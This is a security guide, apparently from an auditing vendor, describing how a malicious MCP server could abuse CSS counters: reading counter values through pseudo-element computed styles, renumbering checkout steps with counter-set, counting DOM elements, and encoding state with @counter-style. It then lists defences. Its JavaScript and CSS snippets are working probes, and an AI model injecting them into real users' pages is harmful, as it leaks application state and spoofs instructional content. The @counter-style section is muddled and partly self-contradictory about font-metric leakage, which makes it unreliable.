Security Guide
MCP server CSS counter security — counter() pseudo-element exfiltration, counter-set mid-list hijacking, sibling-counting DOM oracle, @counter-style font metric encoding
CSS Counters — counter-reset, counter-increment, counter-set, and the counter()/counters() functions — are supported in every browser and designed for tracking integers across the CSS cascade. When an MCP server can inject CSS or read computed styles, counters become an information channel: accumulated integer values are readable via getComputedStyle(el, '::before').content; counter-set (Chrome 85+, Firefox 68+) can overwrite a running counter mid-list to corrupt ordered content; broad-selector counter-increment rules count DOM elements without querySelectorAll; and @counter-style descriptors can encode computed layout metrics in counter symbol strings readable from pseudo-element content.
How CSS counters work
CSS counters are scoped integer variables maintained by the CSS cascade engine. counter-reset: name value on an ancestor element creates a counter named name initialized to value (default 0) and scopes it to that element's subtree. counter-increment: name delta on a descendant adds delta (default 1) to the nearest ancestor's counter of that name. counter(name) in a content: property returns the counter's current value as a string, making it visible in pseudo-element rendered text. This is the mechanism behind automatic list numbering (ol uses a list-item counter), but it extends to any named counter on any element.
Attack 1: counter() in pseudo-element content reads counter values via getComputedStyle
The value of any CSS counter at any point in the cascade is readable from JavaScript via getComputedStyle(element, '::before').content when that pseudo-element's content property uses the counter() function. The browser resolves the counter to its current integer value and returns it as the computed content string. An MCP server can inject a probe element and a CSS rule that displays a named counter value, then read the integer from the computed style — without any JavaScript access to the counter machinery itself.
// Counter value exfiltration via pseudo-element computed content
const probe = document.createElement('div');
probe.id = 'counter-probe';
document.body.appendChild(probe);
// Inject CSS: read the value of 'list-item' counter (used by <ol> for numbering)
const style = document.createElement('style');
style.textContent = `
#counter-probe::before {
content: counter(list-item); /* reads the nearest list-item counter */
}
`;
document.head.appendChild(style);
// Place the probe inside the <ol> after the last <li>:
const orderedList = document.querySelector('ol.user-posts');
if (orderedList) {
orderedList.appendChild(probe);
// Read the counter value:
const value = getComputedStyle(probe, '::before').content;
// value = '"42"' → there are 42 items in the list
// This encodes the list item count without DOM traversal or .children.length
}
// Works for ANY named counter, not just list-item:
// counter(steps) → encodes multi-step wizard progress
// counter(unread) → if the host app uses a CSS counter for unread message count
// counter(cart-items) → encodes shopping cart item count
Counter names encode application state: Applications that use CSS counters for feature-specific purposes (unread notifications, step progress, cart items) expose those state values through this technique. The MCP server does not need to know the counter's name in advance — scanning for common names (list-item, step, count, index) or using wildcard injection strategies covers most cases.
Attack 2: counter-set overwrites a running counter mid-list (content hijacking)
counter-set (Chrome 85+, Firefox 68+, Safari 17.2+) sets a counter to a specific value at the point of the declaring element, without resetting scope. Unlike counter-reset which creates a new counter scope, counter-set modifies the existing counter in the current scope. An MCP server can inject a rule with counter-set on a specific list item to change the numbering of all subsequent items. This is a content spoofing attack: an ordered list of N items suddenly shows numbers starting from an attacker-chosen value, potentially showing steps out of order or making "Step 1" appear as "Step 47".
/* counter-set injection: corrupt ordered list numbering mid-sequence */
/* Host renders: 1. First step, 2. Second step, 3. Third step, ... */
/* MCP server injects: */
ol.checkout-steps li:nth-child(2) {
/* Normally this would be step 2 */
counter-set: list-item 99; /* now THIS item shows as "100", next as "101", etc. */
}
/* Result:
1. First step (normal)
100. Second step (hijacked — counter-set applies BEFORE increment)
101. Third step (cascades forward — all subsequent items shifted)
102. Fourth step
...
*/
/* Why this matters: checkout flows, wizard steps, and instructional content
rely on sequential numbering to convey progress. Corrupting the counter
breaks the user's understanding of how many steps remain and which step
they are on — a UX manipulation with potential for fraud (e.g., hiding
that step 3 of 5 is actually the payment step). */
Browser support widens the attack surface: counter-set is now supported in all three major browser engines. Any MCP server that can inject CSS into a page using ordered lists for instructional or checkout content can corrupt the numbering sequence with a single rule — no JavaScript required, and the corruption persists across DOM mutations to the list.
Attack 3: broad-selector counter-increment counts DOM elements without querySelectorAll
A CSS rule with counter-increment: spy-counter on a broad selector — such as .message-item, [data-user-id], or article — increments the counter once per matching element during cascade computation. After the cascade runs, reading the counter value via a probe pseudo-element gives the total count of matching elements. This counts elements in the DOM without calling querySelectorAll, document.getElementsByClassName, or any JavaScript that could be monitored or intercepted. The count updates automatically when elements are added or removed, as the cascade re-runs.
// Sibling-counting attack: count all elements matching a selector
// without any JavaScript DOM API access
// Step 1: reset counter on a common ancestor
const style = document.createElement('style');
style.textContent = `
body { counter-reset: elem-spy 0; }
/* Increment once per message bubble — counting conversation length */
.message-bubble { counter-increment: elem-spy 1; }
/* Probe element displays the final count after all increments */
#count-probe::before { content: counter(elem-spy); }
`;
document.head.appendChild(style);
// Step 2: place probe after all .message-bubble elements
const probe = document.createElement('div');
probe.id = 'count-probe';
document.body.appendChild(probe); // placed at end of body, after all messages
// Step 3: read the accumulated count
const count = parseInt(
getComputedStyle(probe, '::before').content.replace(/"/g, '')
);
// count = total number of .message-bubble elements in the DOM
// This updates automatically as new messages arrive (cascade re-runs)
// The same technique works for:
// [data-user-id] → unique user count in current view
// .unread-indicator → unread notification count
// .cart-item → shopping cart item count
// input[type="checkbox"]:checked → checked checkbox count (current form state)
Attack 4: @counter-style descriptors encode computed layout metrics in readable content
@counter-style defines a custom counter rendering system. Its symbols descriptor specifies what text to use for each counter value. These symbols can be any string, including strings that encode computed CSS values. An advanced MCP server can define a custom counter style where each symbol is a font-metric-sensitive string: for example, a symbol that matches the rendered width of a character in the host's font. After defining the counter style and reading the pseudo-element content, the attacker infers which symbol was selected — which encodes the counter value — and the character metrics that determined which string was rendered. This is a convoluted but detectable probe technique for font fingerprinting without the Canvas API.
/* @counter-style metric encoding oracle */
/* Counter style where each symbol string encodes a font-metric probe */
@counter-style metric-probe {
system: alphabetic;
symbols: "narrow" "medium" "wide" "extra-wide";
/* Each label maps to a counter value (1, 2, 3, 4) */
/* The actual attack: symbols contain strings whose *rendered width* */
/* in the host font varies — but the computed content is always the symbol string */
/* So this leaks: which symbol string was applied at counter value N */
}
/* Probe element using the custom counter style */
.metric-read-probe::before {
content: counter(list-item, metric-probe);
/* Returns: "narrow", "medium", "wide", or "extra-wide" */
/* Depending on which list item value this probe is placed at */
}
/* Practical impact: */
/* An attacker can define @counter-style symbols that are */
/* the same character but with different Unicode normalization forms, */
/* then read which form the browser chose — this discriminates browsers */
/* based on their counter normalization behavior. */
/* Combined with counter-increment on input:checked selectors, */
/* this can encode boolean form state (checkbox checked = counter value 2 → "medium") */
/* readable from computed content without reading .checked properties. */
| Attack | CSS mechanism | What it reads / enables | Browser support |
|---|---|---|---|
| Counter value exfiltration | counter() in pseudo-element content: + getComputedStyle | Current value of any named counter — list item count, step index, app state integers | All browsers |
| Mid-list number hijacking | counter-set on a specific list child | Corrupts ordered list numbering from a given position forward — content spoofing | Chrome 85+, FF 68+, Safari 17.2+ |
| DOM element counting | counter-increment on broad selector + probe read | Total count of matching elements without querySelectorAll — message count, user count | All browsers |
@counter-style encoding | Custom counter style symbols + pseudo-element read | Encodes counter value as a chosen symbol string — enables form state boolean encoding | Chrome 91+, FF 33+, Safari 17+ |
SkillAudit findings for CSS counters
content: counter(name) rule and reading the computed value reveals the current integer of any named counter in scope — including built-in list-item counters that encode ordered list lengths and application-specific counters encoding UI state.counter-set hijacking: injecting counter-set on a specific <ol> child changes all subsequent item numbers, enabling content spoofing attacks on checkout steps, wizard progress indicators, and instructional numbered sequences.counter-increment on a broad CSS selector accumulates a count of all matching DOM elements, readable via a probe pseudo-element, without any JavaScript DOM API call — enabling message count, user count, and cart item count extraction.@counter-style symbol encoding: custom counter styles can encode computed values or form state booleans in their symbol strings, readable from pseudo-element computed content as the string chosen for the current counter value at the probe's document position.Defences
CSP style-src 'self' blocks counter injection: All four attacks require the MCP server to inject a <style> element or modify element inline styles. A strict CSP that disallows inline styles prevents injection-based counter attacks entirely.
Avoid using CSS counters for security-sensitive state: If your application encodes state (unread count, item count, role-specific UI state) in CSS counters, that state becomes readable via pseudo-element computed content whenever an MCP server can inject a probe rule. Use JavaScript-only state management or data attributes for sensitive UI state rather than CSS counters.
Audit MCP server code for @counter-style and counter- property usage: SkillAudit flags MCP servers that define @counter-style rules or inject counter-reset, counter-set, or counter-increment on selectors broader than the MCP server's own UI elements. Legitimate MCP server UIs that use their own ordered lists have no need to inject counter rules on host document selectors.
Scope host counter names: Using long, application-specific counter names (e.g., acme-checkout-step-v2 instead of step) reduces the likelihood of accidental counter discovery. This is defense-in-depth — a determined attacker can enumerate names via broad injection — but raises the cost.
Related: CSS cascade layers security · CSS container queries security · CSS custom state security